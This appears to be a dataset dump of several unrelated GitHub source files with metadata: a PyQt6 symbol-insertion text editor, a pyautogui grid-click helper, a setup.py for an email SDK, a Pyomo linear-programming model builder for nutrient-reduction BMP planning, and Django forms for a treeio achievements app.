PyQt6.QtGui import *\nfrom PyQt6.QtCore import *\nfrom dataclasses import dataclass\nfrom functools import partial\nimport sys\nimport os\nimport json\n\n# requirements:\n# pip install PyQt6\n\n# TODO:\n# clean/refactor\n# manually handle hotkeys\n# auto expand toolbar (custom widget?)\n# file menu\n# prefix input\n# tab input\n# hidden shortcuts\n# floating toolbar mode? (external output)\n# apl mappings\n# button color\n# persistent settings?\n# test on windows\n# shell commands\n# status bar (persistent, selection info, line/col)\n# font/font size selection\n# per-mapping font\n\nCURRENT_DIR = os.path.dirname(os.path.realpath(__file__))\n\n@dataclass\nclass SymbolInfo:\n symbol: str\n tooltip: str\n shortcut: str\n output: str\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n self.mappings = []\n self.mappingnames = []\n self.get_mappings()\n\n super().__init__()\n self.setWindowTitle(\"Hello!!\")\n self.setGeometry(123, 123, 666, 420)\n self.setContextMenuPolicy(Qt.ContextMenuPolicy.NoContextMenu)\n\n self.editor = QPlainTextEdit()\n font = QFont(\"JuliaMono\")\n font.setPointSize(12)\n self.editor.setFont(font)\n self.editor.textChanged.connect(self.text_changed)\n self.setCentralWidget(self.editor)\n\n toolbar2 = QToolBar()\n toolbar2.setMovable(False)\n toolbar2.setFloatable(False)\n spacer = QWidget()\n spacer.setSizePolicy(QSizePolicy.Policy.Expanding, QSizePolicy.Policy.Preferred)\n toolbar2.addWidget(spacer)\n combo = QComboBox()\n toolbar2.addWidget(combo)\n combo.insertItems(0, self.mappingnames)\n combo.currentIndexChanged.connect(self.index_changed)\n self.addToolBar(Qt.ToolBarArea.TopToolBarArea, toolbar2)\n\n self.addToolBarBreak(Qt.ToolBarArea.TopToolBarArea)\n\n self.toolbar = QToolBar()\n self.toolbar.setStyleSheet(\"\"\"\n QToolButton{\n padding: 0px;\n font-family: 'JuliaMono';\n font-size: 18px;\n margin: 0px;\n max-width: 16px;\n }\n QToolBar{\n padding: 1px;\n min-width: 20px;\n }\"\"\");\n self.toolbar.setMovable(False)\n self.toolbar.setFloatable(False)\n self.addToolBar(Qt.ToolBarArea.TopToolBarArea, self.toolbar)\n\n self.status = QStatusBar()\n self.setStatusBar(self.status)\n\n self.get_actions()\n self.index_changed(0)\n self.text_changed()\n\n def insert_symbol(self, character):\n self.editor.insertPlainText(character)\n self.editor.ensureCursorVisible()\n\n def text_changed(self):\n charlen = str(len(self.editor.toPlainText()))\n bytelen = str(len(self.editor.toPlainText().encode('utf-8')))\n self.status.showMessage(\"chars: \" + charlen + \", bytes: \" + bytelen)\n\n def index_changed(self, index):\n self.toolbar.clear()\n for action in self.actions[index]:\n self.toolbar.addAction(action)\n\n def get_mappings(self):\n jsonpath = os.path.join(CURRENT_DIR, \"config.json\")\n with open(jsonpath, encoding=\"utf-8\") as f:\n read_data = f.read()\n j = json.loads(read_data)\n globalmodifier = j[\"modifier\"] if \"modifier\" in j else None\n for name, mapping in j[\"mappings\"].items():\n self.mappingnames.append(name)\n symbols = []\n for symbol, info in mapping.items():\n tooltip = info[\"tooltip\"] if \"tooltip\" in info else None\n key = info[\"key\"] if \"key\" in info else None\n shortcut = None\n if key is not None:\n modifier = info[\"modifier\"] if \"modifier\" in info else globalmodifier\n if modifier is None:\n shortcut = key\n else:\n if len(key) == 1 and key.isalpha() and key.isupper():\n modifier += \"+Shift\"\n shortcut = modifier + \"+\" + key\n output = info[\"output\"] if \"output\" in info else symbol\n symbols.append(SymbolInfo(symbol, tooltip, shortcut, output))\n self.mappings.append(symbols)\n\n def get_actions(self):\n self.actions = []\n for mappinglist in self.mappings:\n actionlist = []\n for info in mappinglist:\n symbol = info.symbol\n shortcut = info.shortcut\n tooltip = symbol\n if shortcut is not None: tooltip += \" [\" + shortcut + \"]\"\n if info.tooltip is not None: tooltip += \"\\n\" + info.tooltip\n output = info.output\n \n action = QAction(symbol, self)\n action.setToolTip(tooltip)\n if shortcut is not None: action.setShortcut(shortcut)\n action.triggered.connect(partial(self.insert_symbol, output))\n actionlist.append(action)\n self.actions.append(actionlist)\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n font_path = os.path.join(CURRENT_DIR, \"font\", \"JuliaMono\", \"JuliaMono-Regular.ttf\")\n _id = QFontDatabase.addApplicationFont(font_path)\n if QFontDatabase.applicationFontFamilies(_id) == -1:\n print(\"error loading font\")\n app.setApplicationName(\"pytext01\")\n window = MainWindow()\n window.show()\n app.exec()\n", "repo_name": "ashtraypettingzoo/fluttertxt", "sub_path": "fluttertxt.py", "file_name": "fluttertxt.py", "file_ext": "py", "file_size_in_byte": 5524, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.path.dirname", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 31, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 33, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path", "line_number": 111, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 114, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 150, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 155, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 156, "usage_type": "call"}, {"api_name": "os.path", "line_number": 156, "usage_type": "attribute"}]} +{"seq_id": "12031610973", "text": "import pyautogui as pg\nfrom models.window import Window\nimport constants.constants as consts\n\nX_INIT_MARGIN=consts.X_INIT_MARGIN\nY_INIT_MARGIN=consts.Y_INIT_MARGIN\nX_MARGIN=consts.X_MARGIN\nY_MARGIN=consts.Y_MARGIN\n\nclass Move:\n def __init__(self,wobj:Window,init_margins=[X_INIT_MARGIN,Y_INIT_MARGIN],cellSpacing=[X_MARGIN,Y_MARGIN],maxX=9,maxY=9):\n self.wobj=wobj\n self.refreshWindowLocation(init_margins)\n self.cellSpacingX=cellSpacing[0]\n self.cellSpacingY=cellSpacing[1]\n self.maxX=maxX\n self.maxY=maxY\n\n def refreshWindowLocation(self,init_margins):\n tmp=self.wobj.getLocation()\n self.initX=tmp['wstart'][0]+init_margins[0]\n self.initY=tmp['wstart'][1]+init_margins[1]\n\n def check(self,x,y):\n if x<0 or y<0:\n raise Exception(f\"Out of bounds(negative): x:{x},y:{y}\")\n elif x>self.maxX or y>self.maxY:\n raise Exception(f\"Out of bounds(over): x:{x},y:{y}\")\n\n def click(self,x,y,click=False):\n self.check(x,y)\n tx=self.initX+(x*self.cellSpacingX)\n ty=self.initY+(y*self.cellSpacingY)\n pg.moveTo(tx,ty)\n if click:\n pg.click()\n", "repo_name": "gitgetgud/antimine", "sub_path": "helpers/move.py", "file_name": "move.py", "file_ext": "py", "file_size_in_byte": 1183, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "constants.constants.X_INIT_MARGIN", "line_number": 5, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 5, "usage_type": "name"}, {"api_name": "constants.constants.Y_INIT_MARGIN", "line_number": 6, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 6, "usage_type": "name"}, {"api_name": "constants.constants.X_MARGIN", "line_number": 7, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 7, "usage_type": "name"}, {"api_name": "constants.constants.Y_MARGIN", "line_number": 8, "usage_type": "attribute"}, {"api_name": "constants.constants", "line_number": 8, "usage_type": "name"}, {"api_name": "models.window.Window", "line_number": 11, "usage_type": "name"}, {"api_name": "pyautogui.moveTo", "line_number": 34, "usage_type": "call"}, {"api_name": "pyautogui.click", "line_number": 36, "usage_type": "call"}]} +{"seq_id": "16900927923", "text": "from setuptools import setup, find_packages\n\nwith open('README.md') as readme_file:\n README = readme_file.read()\n\n__version__ = None\nwith open('amply/version.py') as f:\n exec(f.read())\n\nsetup_args = dict(\n name='amply-mail',\n version=str(__version__),\n description='This is the Amply Python SDK that integrates with the v1 API.',\n long_description_content_type=\"text/markdown\",\n long_description=README,\n license='MIT',\n packages=find_packages(),\n keywords=['amply', 'email'],\n url='https://github.com/sendamply/amply-python'\n)\n\ninstall_requires = [\n 'requests'\n]\n\nif __name__ == '__main__':\n setup(**setup_args, install_requires=install_requires)\n", "repo_name": "sendamply/amply-python", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 687, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "setuptools.find_packages", "line_number": 17, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 27, "usage_type": "call"}]} +{"seq_id": "71874778843", "text": "\"\"\" Build a LP variant of the Efficiency BMP model (A subclass of ModelBuilder)\n\"\"\"\n\n# Generic/Built-in\nimport logging\nfrom typing import Dict\nfrom itertools import product\n\n# Computation\nimport pandas as pd\nimport pyomo.environ as pyo\n\n# BAYOTA\nfrom bayom_e.model_handling.builders.modelbuilder import ModelBuilder\n\ndefault_logger = logging.getLogger(__name__)\n\n\nclass LinearVariant(ModelBuilder):\n \"\"\" Used to build a LP variant of the Efficiency BMP model (A subclass of ModelBuilder)\n \"\"\"\n\n def __init__(self, logger=default_logger):\n \"\"\" Please see help(LinearVariant) for more info \"\"\"\n ModelBuilder.__init__(self, logger=logger)\n\n def build_skeleton(self, dataplate, geoscale, target_load: Dict) -> pyo.ConcreteModel:\n \"\"\"Nonlinear variant of the efficiency BMP model\n\n Skeleton\n - includes Sets, Parameters, and Variables.\n - does not include Objective, Constraints, or any other Expressions\n\n Notes:\n - no indexing by nutrient (assumed single nutrient)\n - no indexing by agency\n\n \"\"\"\n model = pyo.ConcreteModel()\n\n # *************************\n # SETS\n # *************************\n model.PLTNTS = pyo.Set(initialize=dataplate.PLTNTS, ordered=True,\n doc=\"\"\"Pollutants (N, P, or S).\"\"\")\n\n # PARCELS\n model.LRSEGS = pyo.Set(initialize=dataplate.LRSEGS)\n model.LOADSRCS = pyo.Set(initialize=dataplate.LOADSRCS)\n model.AGENCIES = pyo.Set(initialize=dataplate.AGENCIES)\n model.PARCELS = pyo.Set(initialize=dataplate.PARCELS, within=model.LRSEGS*model.LOADSRCS*model.AGENCIES)\n\n # BMPS [Nelson's change Note: added b0]\n model.BMPS = pyo.Set(initialize=dataplate.BMPS + ['b0'], ordered=True)\n model.BMPGRPS = pyo.Set(initialize=dataplate.BMPGRPS)\n\n # # BMPs in each BMPGRP\n # self.create_2dim_set_component(model, dataplate.BMPGRPING, 'BMPGRPING')\n #\n # # BMPs in each LOADSRC\n # self.create_2dim_set_component(model, dataplate.BMPSRCLINKS, 'BMPSRCLINKS')\n #\n # # BMPGRPs in each LOADSRC\n # self.create_2dim_set_component(model, dataplate.BMPGRPSRCLINKS, 'BMPGRPSRCLINKS')\n\n # Create a dictionary that maps load source -> BMP group names\n allowable_groups_for_loadsource = dataplate.BMPGRPSRCLINKS.copy()\n\n # Create a dictionary that maps load source -> BMP group names\n allowable_bmps_for_loadsource = dataplate.BMPSRCLINKS.copy()\n\n # Add 'null_group' BMP group for load sources that are not\n # linked to any BMP groups\n for u in model.LOADSRCS:\n if u not in allowable_groups_for_loadsource:\n allowable_groups_for_loadsource[u] = ['null_group']\n\n \"\"\" Danny: adding the dictionary for parcels \"\"\"\n # Create a dictionary that maps parcel -> BMP group names\n allowable_groups_for_parcel = {}\n for p in dataplate.PARCELS:\n allowable_groups_for_parcel[p] = allowable_groups_for_loadsource[p[1]]\n\n def bmp_cost_effectiveness_on_parcel(bmp, parcel):\n \"\"\" A BMP's cost-effectiveness (specific to each parcel) is calculated. \"\"\"\n ce = 0\n if b != 'b0': # b0 ('do-nothing bmp') will just have a cost-effectiveness of zero\n bmp_cost = dataplate.tau[bmp]\n if bmp_cost == 0:\n ce = 999 # Divide-by-zero error is avoided.\n else:\n ce = dataplate.eta[bmp, parcel[0], parcel[1], 'N'] / bmp_cost\n return ce\n\n \"\"\" The most cost-efficient BMP for every parcel (p) is retrieved. \"\"\"\n most_effective_bmp_for_parcel = {}\n load_sources_without_bmps = []\n for i, p in enumerate(dataplate.PARCELS):\n # This parcel is skipped if no bmps can be applied to its load source.\n if not (p[1] in allowable_bmps_for_loadsource):\n if p[1] not in load_sources_without_bmps:\n load_sources_without_bmps.append(p[1])\n print(f\"Not found: any bmps for load source <{p[1]}>.\")\n continue\n\n # Cost-effectivenesses of all applicable bmps are retrieved, then sorted highest to lowest.\n cost_effectiveness_list = []\n for b in allowable_bmps_for_loadsource[p[1]]:\n cost_effectiveness = bmp_cost_effectiveness_on_parcel(b, p)\n cost_effectiveness_list.append((b, cost_effectiveness))\n most_cost_effective = sorted(cost_effectiveness_list, key=lambda x: x[1], reverse=True)[0]\n most_effective_bmp_for_parcel[p] = most_cost_effective[0]\n\n # df = pd.DataFrame_from_dict(dataplate.eta)\n\n # Feasible Assignments\n # enumerate all combinations of bmps (with one from each group)\n # bmpgrping_listoflists = [v for _, v in dataplate.BMPGRPING.items()]\n # feasible_assignments = list(product(*bmpgrping_listoflists))\n # print(len(feasible_assignments))\n # fi_dict_ikeys = {i: f for (i, f) in enumerate(feasible_assignments)}\n # fi_dict_fkeys = {f: i for (i, f) in enumerate(feasible_assignments)}\n # fi = list(range(0, len(feasible_assignments)))\n # model.F = pyo.Set(initialize=fi, ordered=True)\n # model.f_to_bmps = pyo.Param(model.F, initialize=fi_dict_ikeys)\n\n # *************************\n # IMMUTABLE PARAMETERS\n # *************************\n model.tau = pyo.Param(model.BMPS,\n doc=\"\"\"cost per acre of BMP b ($)\"\"\",\n within=pyo.NonNegativeReals,\n initialize=dataplate.tau)\n\n model.eta = pyo.Param(model.BMPS,\n model.LRSEGS,\n model.LOADSRCS,\n model.PLTNTS,\n doc='effectiveness per acre of BMP b (unitless)',\n within=pyo.NonNegativeReals,\n initialize={(k[0], k[1], k[2], k[3]): v\n for k, v in dataplate.eta.items()})\n\n model.phi = pyo.Param(model.PARCELS,\n model.PLTNTS,\n doc='base nutrient load per load source',\n within=pyo.NonNegativeReals,\n initialize={(k[0], k[1], k[2], k[3]): v\n for k, v in dataplate.phi.items()},\n mutable=True)\n\n model.alpha = pyo.Param(model.PARCELS,\n doc='total acres available in an lrseg/loadsource/agency',\n within=pyo.NonNegativeReals,\n mutable=True,\n initialize={k: v for k, v in dataplate.alpha.items()})\n\n # vvvv TODO: DO THESE feasible assignment calculations vvvv\n lowerecalc = {}\n def lowere_rule(mdl, f, l):\n temp_val = pyo.prod([1 - mdl.eta[(bmp_tuple, l)]\n for bmp_tuple in fi_dict_fkeys[f]])\n # lowerecalc[(fi_dict_fkeys[(b1, b2)], lrsegid)] =\n return temp_val\n model.lowere = pyo.Param(model.F,\n model.LRSEGS,\n doc='overall pass through of a feasible assignment (unitless)',\n within=pyo.NonNegativeReals,\n rule=lowere_rule)\n\n lowerccalc = {}\n for (b1, b2) in feasible_assignments:\n lrsegid = 'lrseg1'\n lowerccalc[(fi_dict_fkeys[(b1, b2)], lrsegid)] = model.c[b1] + model.c[b2]\n model.lowerc = pyo.Param(model.F,\n model.LRSEGS,\n doc='overall cost of a feasible assignment (unitless)',\n within=pyo.NonNegativeReals,\n initialize=lowerccalc)\n\n # *************************\n # MUTABLE PARAMETERS\n # *************************\n model.target_load_param = pyo.Param(model.PLTNTS,\n initialize={p: target_load[p]\n for p in dataplate.PLTNTS},\n mutable=True)\n\n # *************************\n # VARIABLES\n # *************************\n def _bounds_rule(m, b, k1, k2, k3):\n return 0, dataplate.alpha[k1, k2, k3]\n model.x = pyo.Var(model.BMPS,\n model.PARCELS,\n domain=pyo.NonNegativeReals,\n bounds=_bounds_rule,\n doc='Amount of each BMP to implement.')\n\n # model.x = pyo.Var(model.BMPS,\n # model.LRSEGS,\n # model.LOADSRCS,\n # domain=pyo.NonNegativeReals,\n # doc='Amount of each BMP to implement.')\n\n return model", "repo_name": "dkauf42/bayota", "sub_path": "bayom_e/model_handling/builders/linear.py", "file_name": "linear.py", "file_ext": "py", "file_size_in_byte": 9150, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "86", "api": [{"api_name": "logging.getLogger", "line_number": 16, "usage_type": "call"}, {"api_name": "bayom_e.model_handling.builders.modelbuilder.ModelBuilder", "line_number": 19, "usage_type": "name"}, {"api_name": "bayom_e.model_handling.builders.modelbuilder.ModelBuilder.__init__", "line_number": 25, "usage_type": "call"}, {"api_name": "bayom_e.model_handling.builders.modelbuilder.ModelBuilder", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 27, "usage_type": "name"}, {"api_name": "pyomo.environ.ConcreteModel", "line_number": 39, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 39, "usage_type": "name"}, {"api_name": "pyomo.environ.Set", "line_number": 44, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 44, "usage_type": "name"}, {"api_name": "pyomo.environ.Set", "line_number": 48, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 48, "usage_type": "name"}, {"api_name": "pyomo.environ.Set", "line_number": 49, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 49, "usage_type": "name"}, {"api_name": "pyomo.environ.Set", "line_number": 50, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 50, "usage_type": "name"}, {"api_name": "pyomo.environ.Set", "line_number": 51, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 51, "usage_type": "name"}, {"api_name": "pyomo.environ.Set", "line_number": 54, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 54, "usage_type": "name"}, {"api_name": "pyomo.environ.Set", "line_number": 55, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 55, "usage_type": "name"}, {"api_name": "pyomo.environ.Param", "line_number": 130, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 130, "usage_type": "name"}, {"api_name": "pyomo.environ.NonNegativeReals", "line_number": 132, "usage_type": "attribute"}, {"api_name": "pyomo.environ", "line_number": 132, "usage_type": "name"}, {"api_name": "pyomo.environ.Param", "line_number": 135, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 135, "usage_type": "name"}, {"api_name": "pyomo.environ.NonNegativeReals", "line_number": 140, "usage_type": "attribute"}, {"api_name": "pyomo.environ", "line_number": 140, "usage_type": "name"}, {"api_name": "pyomo.environ.Param", "line_number": 144, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 144, "usage_type": "name"}, {"api_name": "pyomo.environ.NonNegativeReals", "line_number": 147, "usage_type": "attribute"}, {"api_name": "pyomo.environ", "line_number": 147, "usage_type": "name"}, {"api_name": "pyomo.environ.Param", "line_number": 152, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 152, "usage_type": "name"}, {"api_name": "pyomo.environ.NonNegativeReals", "line_number": 154, "usage_type": "attribute"}, {"api_name": "pyomo.environ", "line_number": 154, "usage_type": "name"}, {"api_name": "pyomo.environ.prod", "line_number": 161, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 161, "usage_type": "name"}, {"api_name": "pyomo.environ.Param", "line_number": 165, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 165, "usage_type": "name"}, {"api_name": "pyomo.environ.NonNegativeReals", "line_number": 168, "usage_type": "attribute"}, {"api_name": "pyomo.environ", "line_number": 168, "usage_type": "name"}, {"api_name": "pyomo.environ.Param", "line_number": 175, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 175, "usage_type": "name"}, {"api_name": "pyomo.environ.NonNegativeReals", "line_number": 178, "usage_type": "attribute"}, {"api_name": "pyomo.environ", "line_number": 178, "usage_type": "name"}, {"api_name": "pyomo.environ.Param", "line_number": 184, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 184, "usage_type": "name"}, {"api_name": "pyomo.environ.Var", "line_number": 194, "usage_type": "call"}, {"api_name": "pyomo.environ", "line_number": 194, "usage_type": "name"}, {"api_name": "pyomo.environ.NonNegativeReals", "line_number": 196, "usage_type": "attribute"}, {"api_name": "pyomo.environ", "line_number": 196, "usage_type": "name"}, {"api_name": "pyomo.environ.ConcreteModel", "line_number": 27, "usage_type": "attribute"}, {"api_name": "pyomo.environ", "line_number": 27, "usage_type": "name"}]} +{"seq_id": "4878260862", "text": "\"\"\"\nSince most of tree.io is based around forms, there are a few of them here. The MassForm's feature a save()\nmethod which allows execution of whatever the user wanted by just running form.save()\nMaybe a bit odd is the unused 'user' argument, but this is default in tree.io and to be sure it's saver to keep it in.\n\"\"\"\nfrom django import forms\nfrom django.utils.translation import ugettext as _\nfrom treeio.core.decorators import preprocess_form\nfrom achievements.models import Prototype, Achievement\n\npreprocess_form()\n\n\ndef _get_achievement_choices():\n \"\"\" Make a list of tuples with all available Achievements, so they can be used for ChoiceFields. \"\"\"\n prts = Prototype.objects.filter(trash=False)\n ret = [('-', '-')]\n for prt in prts:\n choice = (prt.pk, prt.title)\n ret.append(choice)\n return ret\n\n\nclass MassActionUserForm(forms.Form):\n \"\"\" Mass action form for Users in Achievements\"\"\"\n\n award = forms.ChoiceField(label=_(\"Award selected\"), choices=_get_achievement_choices(), required=False)\n instance = None\n\n def __init__(self, user, *args, **kwargs):\n \"\"\"\n If the kwargs argument instance is given, set it. Then run the init of forms.Form. Also, make sure the\n fields are set.\n\n Arguments:\n user -- the current user (get it via request.user)\n instance -- the object the form is related to\n *args -- arguments to be passed on\n **kwargs -- keyword arguments to be passed on\n \"\"\"\n if 'instance' in kwargs:\n self.instance = kwargs['instance']\n del kwargs['instance']\n\n super(MassActionUserForm, self).__init__(*args, **kwargs)\n\n self.fields['award'] = forms.ChoiceField(label=_(\"Award selected\"), choices=_get_achievement_choices(),\n required=False)\n\n def save(self, *args, **kwargs):\n \"\"\"\n Create a new Achievement object according to the form.\n\n Arguments:\n *args -- catch all arguments\n **kwargs -- catch all keyword arguments\n \"\"\"\n if self.instance:\n if self.is_valid():\n if self.cleaned_data['award'] and self.cleaned_data['award'] != '-':\n p = Prototype.objects.get(pk=self.cleaned_data['award'])\n a = Achievement(prototype=p, user=self.instance)\n a.save()\n\n\nclass MassActionUserAchievementsForm(forms.Form):\n \"\"\" Mass action form for User-Achievements in Achievements\"\"\"\n\n revoke = forms.ChoiceField(label=_(\"With selected\"), choices=[('-', '-'), ('revoke', _('Revoke'))], required=False)\n instance = None\n\n def __init__(self, user, *args, **kwargs):\n \"\"\"\n If the kwargs argument instance is given, set it. Then run the init of forms.Form. Also, make sure the\n fields are set.\n\n Arguments:\n user -- the current user (get it via request.user)\n instance -- the object the form is related to\n *args -- arguments to be passed on\n **kwargs -- keyword arguments to be passed on\n \"\"\"\n if 'instance' in kwargs:\n self.instance = kwargs['instance']\n del kwargs['instance']\n\n super(MassActionUserAchievementsForm, self).__init__(*args, **kwargs)\n\n self.fields['revoke'] = forms.ChoiceField(label=_(\"With selected\"),\n choices=[('-', '-'), ('revoke', _('Revoke'))],\n required=False)\n\n def save(self, *args, **kwargs):\n \"\"\"\n Delete the specified Achievement object,\n\n Arguments:\n *args -- catch all arguments\n **kwargs -- catch all keyword arguments\n \"\"\"\n if self.instance:\n if self.is_valid():\n if self.cleaned_data['revoke'] and self.cleaned_data['revoke'] != '-':\n self.instance.delete()\n\n\nclass MassActionAchievementsForm(forms.Form):\n \"\"\" Mass action form for Achievements \"\"\"\n\n delete = forms.ChoiceField(label=_(\"With selected\"), choices=(('', '-----'), ('delete', _('Delete Completely')),\n ('trash', _('Move to Trash'))), required=False)\n instance = None\n\n def __init__(self, user, *args, **kwargs):\n \"\"\"\n If the kwargs argument instance is given, set it. Then run the init of forms.Form. Also, make sure the\n fields are set.\n\n Arguments:\n user -- the current user (get it via request.user)\n instance -- the object the form is related to\n *args -- arguments to be passed on\n **kwargs -- keyword arguments to be passed on\n \"\"\"\n if 'instance' in kwargs:\n self.instance = kwargs['instance']\n del kwargs['instance']\n\n super(MassActionAchievementsForm, self).__init__(*args, **kwargs)\n\n self.fields['delete'] = forms.ChoiceField(label=_(\"With selected\"),\n choices=(('', '-----'), ('delete', _('Delete Completely')),\n ('trash', _('Move to Trash'))),\n required=False)\n\n def save(self, *args, **kwargs):\n \"\"\"\n Delete or trash the selected Prototype.\n\n Arguments:\n *args -- catch all arguments\n **kwargs -- catch all keyword arguments\n \"\"\"\n if self.instance:\n if self.is_valid():\n if self.cleaned_data['delete']:\n if self.cleaned_data['delete'] == 'delete':\n self.instance.delete()\n if self.cleaned_data['delete'] == 'trash':\n self.instance.trash = True\n self.instance.save()\n\n\nclass PrototypeForm(forms.ModelForm):\n \"\"\" Form for Prototypes \"\"\"\n\n def __init__(self, user, *args, **kwargs):\n \"\"\"\n Run the init of forms.Form and add a TextArea-Widget to the Text-Field.\n\n Arguments:\n user -- the current user (get it via request.user)\n instance -- the object the form is related to\n *args -- arguments to be passed on\n **kwargs -- keyword arguments to be passed on\n \"\"\"\n super(PrototypeForm, self).__init__(*args, **kwargs)\n self.fields['text'].widget = forms.Textarea(attrs={})\n\n class Meta:\n \"\"\" The model is Prototype and use all fields. \"\"\"\n model = Prototype\n fields = ('title', 'text', 'badge', 'icon')\n\n\nclass AchievementForm(forms.ModelForm):\n \"\"\" Form for Achievements \"\"\"\n\n def __init__(self, user, *args, **kwargs):\n \"\"\"\n Run the init of forms.Form and add a TextArea-Widget to the Text-Field.\n\n Arguments:\n user -- the current user (get it via request.user)\n instance -- the object the form is related to\n *args -- arguments to be passed on\n **kwargs -- keyword arguments to be passed on\n \"\"\"\n super(AchievementForm, self).__init__(*args, **kwargs)\n self.fields['text'].widget = forms.Textarea(attrs={})\n\n class Meta:\n \"\"\" The model is Achievement and use all fields. \"\"\"\n model = Achievement\n fields = ('user', 'prototype', 'text')\n", "repo_name": "pascalmouret/treeio-achievements", "sub_path": "achievements/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 7296, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "86", "api": [{"api_name": "treeio.core.decorators.preprocess_form", "line_number": 11, "usage_type": "call"}, {"api_name": "achievements.models.Prototype.objects.filter", "line_number": 16, "usage_type": "call"}, {"api_name": "achievements.models.Prototype.objects", "line_number": 16, "usage_type": "attribute"}, {"api_name": "achievements.models.Prototype", "line_number": 16, "usage_type": "name"}, {"api_name": "django.forms.Form", "line_number": 24, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 24, "usage_type": "name"}, {"api_name": "django.forms.ChoiceField", "line_number": 27, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 27, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 27, "usage_type": "call"}, {"api_name": "django.forms.ChoiceField", "line_number": 47, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 47, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 47, "usage_type": "call"}, {"api_name": "achievements.models.Prototype.objects.get", "line_number": 61, "usage_type": "call"}, {"api_name": "achievements.models.Prototype.objects", "line_number": 61, "usage_type": "attribute"}, {"api_name": "achievements.models.Prototype", "line_number": 61, "usage_type": "name"}, {"api_name": "achievements.models.Achievement", "line_number": 62, "usage_type": "call"}, {"api_name": "django.forms.Form", "line_number": 66, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 66, "usage_type": "name"}, {"api_name": "django.forms.ChoiceField", "line_number": 69, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 69, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 69, "usage_type": "call"}, {"api_name": "django.forms.ChoiceField", "line_number": 89, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 89, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 89, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 90, "usage_type": "call"}, {"api_name": "django.forms.Form", "line_number": 107, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 107, "usage_type": "name"}, {"api_name": "django.forms.ChoiceField", "line_number": 110, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 110, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 110, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 111, "usage_type": "call"}, {"api_name": "django.forms.ChoiceField", "line_number": 131, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 131, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext", "line_number": 131, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 132, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext", "line_number": 133, "usage_type": "call"}, {"api_name": "django.forms.ModelForm", "line_number": 154, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 154, "usage_type": "name"}, {"api_name": "django.forms.Textarea", "line_number": 168, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 168, "usage_type": "name"}, {"api_name": "achievements.models.Prototype", "line_number": 172, "usage_type": "name"}, {"api_name": "django.forms.ModelForm", "line_number": 176, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 176, "usage_type": "name"}, {"api_name": "django.forms.Textarea", "line_number": 190, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 190, "usage_type": "name"}, {"api_name": "achievements.models.Achievement", "line_number": 194, "usage_type": "name"}]} +{"seq_id": "22306706247", "text": "from center_loss import CenterLoss\nfrom AutoCoV import AE\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader\nimport pandas as pd\nimport numpy as np\nfrom scipy.stats import entropy\nfrom collections import Counter\nimport os\nimport numpy as np\nimport random\nfrom 